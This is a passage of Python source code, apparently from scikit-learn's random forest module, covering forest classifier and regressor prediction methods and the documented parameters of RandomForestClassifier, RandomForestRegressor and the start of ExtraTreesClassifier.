random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) @staticmethod def _get_oob_predictions(tree, X): """Compute the OOB predictions for an individual tree. Parameters ---------- tree : DecisionTreeClassifier object A single decision tree classifier. X : ndarray of shape (n_samples, n_features) The OOB samples. Returns ------- y_pred : ndarray of shape (n_samples, n_classes, n_outputs) The OOB associated predictions. """ y_pred = tree.predict_proba(X, check_input=False) y_pred = np.array(y_pred, copy=False) if y_pred.ndim == 2: # binary and multiclass y_pred = y_pred[..., np.newaxis] else: # Roll the first `n_outputs` axis to the last axis. We will reshape # from a shape of (n_outputs, n_samples, n_classes) to a shape of # (n_samples, n_classes, n_outputs). y_pred = np.rollaxis(y_pred, axis=0, start=3) return y_pred def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ self.oob_decision_function_ = super()._compute_oob_predictions(X, y) if self.oob_decision_function_.shape[-1] == 1: # drop the n_outputs axis if there is a single output self.oob_decision_function_ = self.oob_decision_function_.squeeze( axis=-1 ) self.oob_score_ = accuracy_score( y, np.argmax(self.oob_decision_function_, axis=1) ) def _validate_y_class_weight(self, y): check_classification_targets(y) y = np.copy(y) expanded_class_weight = None if self.class_weight is not None: y_original = np.copy(y) self.classes_ = [] self.n_classes_ = [] y_store_unique_indices = np.zeros(y.shape, dtype=int) for k in range(self.n_outputs_): classes_k, y_store_unique_indices[:, k] = \ np.unique(y[:, k], return_inverse=True) self.classes_.append(classes_k) self.n_classes_.append(classes_k.shape[0]) y = y_store_unique_indices if self.class_weight is not None: valid_presets = ('balanced', 'balanced_subsample') if isinstance(self.class_weight, str): if self.class_weight not in valid_presets: raise ValueError('Valid presets for class_weight include ' '"balanced" and "balanced_subsample".' 'Given "%s".' % self.class_weight) if self.warm_start: warn('class_weight presets "balanced" or ' '"balanced_subsample" are ' 'not recommended for warm_start if the fitted data ' 'differs from the full dataset. In order to use ' '"balanced" weights, use compute_class_weight ' '("balanced", classes, y). In place of y you can use ' 'a large enough sample of the full training set ' 'target to properly estimate the class frequency ' 'distributions. Pass the resulting weights as the ' 'class_weight parameter.') if (self.class_weight != 'balanced_subsample' or not self.bootstrap): if self.class_weight == "balanced_subsample": class_weight = "balanced" else: class_weight = self.class_weight expanded_class_weight = compute_sample_weight(class_weight, y_original) return y, expanded_class_weight def predict(self, X): """ Predict class for X. The predicted class of an input sample is a vote by the trees in the forest, weighted by their probability estimates. That is, the predicted class is the one with highest mean probability estimate across the trees. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- y : ndarray of shape (n_samples,) or (n_samples, n_outputs) The predicted classes. """ proba = self.predict_proba(X) if self.n_outputs_ == 1: return self.classes_.take(np.argmax(proba, axis=1), axis=0) else: n_samples = proba[0].shape[0] # all dtypes should be the same, so just take the first class_type = self.classes_[0].dtype predictions = np.empty((n_samples, self.n_outputs_), dtype=class_type) for k in range(self.n_outputs_): predictions[:, k] = self.classes_[k].take(np.argmax(proba[k], axis=1), axis=0) return predictions def predict_proba(self, X): """ Predict class probabilities for X. The predicted class probabilities of an input sample are computed as the mean predicted class probabilities of the trees in the forest. The class probability of a single tree is the fraction of samples of the same class in a leaf. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- p : ndarray of shape (n_samples, n_classes), or a list of such arrays The class probabilities of the input samples. The order of the classes corresponds to that in the attribute :term:`classes_`. """ check_is_fitted(self) # Check data X = self._validate_X_predict(X) # Assign chunk of trees to jobs n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs) # avoid storing the output of every estimator by summing them here all_proba = [np.zeros((X.shape[0], j), dtype=np.float64) for j in np.atleast_1d(self.n_classes_)] lock = threading.Lock() Parallel(n_jobs=n_jobs, verbose=self.verbose, **_joblib_parallel_args(require="sharedmem"))( delayed(_accumulate_prediction)(e.predict_proba, X, all_proba, lock) for e in self.estimators_) for proba in all_proba: proba /= len(self.estimators_) if len(all_proba) == 1: return all_proba[0] else: return all_proba def predict_log_proba(self, X): """ Predict class log-probabilities for X. The predicted class log-probabilities of an input sample is computed as the log of the mean predicted class probabilities of the trees in the forest. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- p : ndarray of shape (n_samples, n_classes), or a list of such arrays The class probabilities of the input samples. The order of the classes corresponds to that in the attribute :term:`classes_`. """ proba = self.predict_proba(X) if self.n_outputs_ == 1: return np.log(proba) else: for k in range(self.n_outputs_): proba[k] = np.log(proba[k]) return proba class ForestRegressor(RegressorMixin, BaseForest, metaclass=ABCMeta): """ Base class for forest of trees-based regressors. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, max_samples=None): super().__init__( base_estimator, n_estimators=n_estimators, estimator_params=estimator_params, bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) def predict(self, X): """ Predict regression target for X. The predicted regression target of an input sample is computed as the mean predicted regression targets of the trees in the forest. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- y : ndarray of shape (n_samples,) or (n_samples, n_outputs) The predicted values. """ check_is_fitted(self) # Check data X = self._validate_X_predict(X) # Assign chunk of trees to jobs n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs) # avoid storing the output of every estimator by summing them here if self.n_outputs_ > 1: y_hat = np.zeros((X.shape[0], self.n_outputs_), dtype=np.float64) else: y_hat = np.zeros((X.shape[0]), dtype=np.float64) # Parallel loop lock = threading.Lock() Parallel(n_jobs=n_jobs, verbose=self.verbose, **_joblib_parallel_args(require="sharedmem"))( delayed(_accumulate_prediction)(e.predict, X, [y_hat], lock) for e in self.estimators_) y_hat /= len(self.estimators_) return y_hat @staticmethod def _get_oob_predictions(tree, X): """Compute the OOB predictions for an individual tree. Parameters ---------- tree : DecisionTreeRegressor object A single decision tree regressor. X : ndarray of shape (n_samples, n_features) The OOB samples. Returns ------- y_pred : ndarray of shape (n_samples, 1, n_outputs) The OOB associated predictions. """ y_pred = tree.predict(X, check_input=False) if y_pred.ndim == 1: # single output regression y_pred = y_pred[:, np.newaxis, np.newaxis] else: # multioutput regression y_pred = y_pred[:, np.newaxis, :] return y_pred def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ self.oob_prediction_ = super()._compute_oob_predictions(X, y).squeeze( axis=1 ) if self.oob_prediction_.shape[-1] == 1: # drop the n_outputs axis if there is a single output self.oob_prediction_ = self.oob_prediction_.squeeze(axis=-1) self.oob_score_ = r2_score(y, self.oob_prediction_) def _compute_partial_dependence_recursion(self, grid, target_features): """Fast partial dependence computation. Parameters ---------- grid : ndarray of shape (n_samples, n_target_features) The grid points on which the partial dependence should be evaluated. target_features : ndarray of shape (n_target_features) The set of target features for which the partial dependence should be evaluated. Returns ------- averaged_predictions : ndarray of shape (n_samples,) The value of the partial dependence function on each grid point. """ grid = np.asarray(grid, dtype=DTYPE, order='C') averaged_predictions = np.zeros(shape=grid.shape[0], dtype=np.float64, order='C') for tree in self.estimators_: # Note: we don't sum in parallel because the GIL isn't released in # the fast method. tree.tree_.compute_partial_dependence( grid, target_features, averaged_predictions) # Average over the forest averaged_predictions /= len(self.estimators_) return averaged_predictions class RandomForestClassifier(ForestClassifier): """ A random forest classifier. A random forest is a meta estimator that fits a number of decision tree classifiers on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. The sub-sample size is controlled with the `max_samples` parameter if `bootstrap=True` (default), otherwise the whole dataset is used to build each tree. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"gini", "entropy"}, default="gini" The function to measure the quality of a split. Supported criteria are "gini" for the Gini impurity and "entropy" for the information gain. Note: this parameter is tree-specific. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=sqrt(n_features)`. - If "sqrt", then `max_features=sqrt(n_features)` (same as "auto"). - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=True Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls both the randomness of the bootstrapping of the samples used when building trees (if ``bootstrap=True``) and the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``). See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. class_weight : {"balanced", "balanced_subsample"}, dict or list of dicts, \ default=None Weights associated with classes in the form ``{class_label: weight}``. If not given, all classes are supposed to have weight one. For multi-output problems, a list of dicts can be provided in the same order as the columns of y. Note that for multioutput (including multilabel) weights should be defined for each class of every column in its own dict. For example, for four-class multilabel classification weights should be [{0: 1, 1: 1}, {0: 1, 1: 5}, {0: 1, 1: 1}, {0: 1, 1: 1}] instead of [{1:1}, {2:5}, {3:1}, {4:1}]. The "balanced" mode uses the values of y to automatically adjust weights inversely proportional to class frequencies in the input data as ``n_samples / (n_classes * np.bincount(y))`` The "balanced_subsample" mode is the same as "balanced" except that weights are computed based on the bootstrap sample for every tree grown. For multi-output, the weights of each column of y will be multiplied. Note that these weights will be multiplied with sample_weight (passed through the fit method) if sample_weight is specified. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : DecisionTreeClassifier The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier The collection of fitted sub-estimators. classes_ : ndarray of shape (n_classes,) or a list of such arrays The classes labels (single output problem), or a list of arrays of class labels (multi-output problem). n_classes_ : int or list The number of classes (single output problem), or a list containing the number of classes for each output (multi-output problem). n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_decision_function_ : ndarray of shape (n_samples, n_classes) or \ (n_samples, n_classes, n_outputs) Decision function computed with out-of-bag estimate on the training set. If n_estimators is small it might be possible that a data point was never left out during the bootstrap. In this case, `oob_decision_function_` might contain NaN. This attribute exists only when ``oob_score`` is True. See Also -------- DecisionTreeClassifier, ExtraTreesClassifier Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. The features are always randomly permuted at each split. Therefore, the best found split may vary, even with the same training data, ``max_features=n_features`` and ``bootstrap=False``, if the improvement of the criterion is identical for several splits enumerated during the search of the best split. To obtain a deterministic behaviour during fitting, ``random_state`` has to be fixed. References ---------- .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001. Examples -------- >>> from sklearn.ensemble import RandomForestClassifier >>> from sklearn.datasets import make_classification >>> X, y = make_classification(n_samples=1000, n_features=4, ... n_informative=2, n_redundant=0, ... random_state=0, shuffle=False) >>> clf = RandomForestClassifier(max_depth=2, random_state=0) >>> clf.fit(X, y) RandomForestClassifier(...) >>> print(clf.predict([[0, 0, 0, 0]])) [1] """ def __init__(self, n_estimators=100, *, criterion="gini", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=True, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=DecisionTreeClassifier(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class RandomForestRegressor(ForestRegressor): """ A random forest regressor. A random forest is a meta estimator that fits a number of classifying decision trees on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. The sub-sample size is controlled with the `max_samples` parameter if `bootstrap=True` (default), otherwise the whole dataset is used to build each tree. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"squared_error", "mse", "absolute_error", "poisson"}, \ default="squared_error" The function to measure the quality of a split. Supported criteria are "squared_error" for the mean squared error, which is equal to variance reduction as feature selection criterion, "absolute_error" for the mean absolute error, and "poisson" which uses reduction in Poisson deviance to find splits. Training using "absolute_error" is significantly slower than when using "squared_error". .. versionadded:: 0.18 Mean Absolute Error (MAE) criterion. .. versionadded:: 1.0 Poisson criterion. .. deprecated:: 1.0 Criterion "mse" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="squared_error"` which is equivalent. .. deprecated:: 1.0 Criterion "mae" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="absolute_error"` which is equivalent. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=n_features`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=True Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls both the randomness of the bootstrapping of the samples used when building trees (if ``bootstrap=True``) and the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``). See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : DecisionTreeRegressor The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeRegressor The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_prediction_ : ndarray of shape (n_samples,) or (n_samples, n_outputs) Prediction computed with out-of-bag estimate on the training set. This attribute exists only when ``oob_score`` is True. See Also -------- DecisionTreeRegressor, ExtraTreesRegressor Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. The features are always randomly permuted at each split. Therefore, the best found split may vary, even with the same training data, ``max_features=n_features`` and ``bootstrap=False``, if the improvement of the criterion is identical for several splits enumerated during the search of the best split. To obtain a deterministic behaviour during fitting, ``random_state`` has to be fixed. The default value ``max_features="auto"`` uses ``n_features`` rather than ``n_features / 3``. The latter was originally suggested in [1], whereas the former was more recently justified empirically in [2]. References ---------- .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001. .. [2] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.ensemble import RandomForestRegressor >>> from sklearn.datasets import make_regression >>> X, y = make_regression(n_features=4, n_informative=2, ... random_state=0, shuffle=False) >>> regr = RandomForestRegressor(max_depth=2, random_state=0) >>> regr.fit(X, y) RandomForestRegressor(...) >>> print(regr.predict([[0, 0, 0, 0]])) [-8.32987858] """ def __init__(self, n_estimators=100, *, criterion="squared_error", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=True, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=DecisionTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class ExtraTreesClassifier(ForestClassifier): """ An extra-trees classifier. This class implements a meta estimator that fits a number of randomized decision trees (a.k.a. extra-trees) on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"gini", "entropy"}, default="gini" The function to measure the quality of a split. Supported criteria are "gini" for the Gini impurity and "entropy" for the information gain. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=sqrt(n_features)`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=False Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls 3 sources of randomness: - the bootstrapping of the samples used when building trees (if ``bootstrap=True``) - the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``) - the draw of the splits for each of the `max_features` See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. class_weight : {"balanced", "balanced_subsample"}, dict or list of dicts, \ default=None Weights associated with classes in the form ``{class_label: weight}``. If not given, all classes are supposed to have weight one. For multi-output problems, a list of dicts can be provided in the same order as the columns of y. Note that for multioutput (including multilabel) weights should be defined for each class of every column in its own dict. For example, for four-class multilabel classification weights should be [{0: 1, 1: 1}, {0: 1, 1: 5}, {0: 1, 1: 1}, {0: 1, 1: 1}] instead of [{1:1}, {2:5}, {3:1}, {4:1}]. The "balanced" mode uses the values of y to automatically adjust weights inversely proportional to class frequencies in the input data as ``n_samples / (n_classes * np.bincount(y))`` The "balanced_subsample" mode is the same as "balanced" except that weights are computed based on the bootstrap sample for every tree grown. For multi-output, the weights of each column of y will be multiplied. Note that these weights will be multiplied with sample_weight (passed through the fit method) if sample_weight is specified. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be 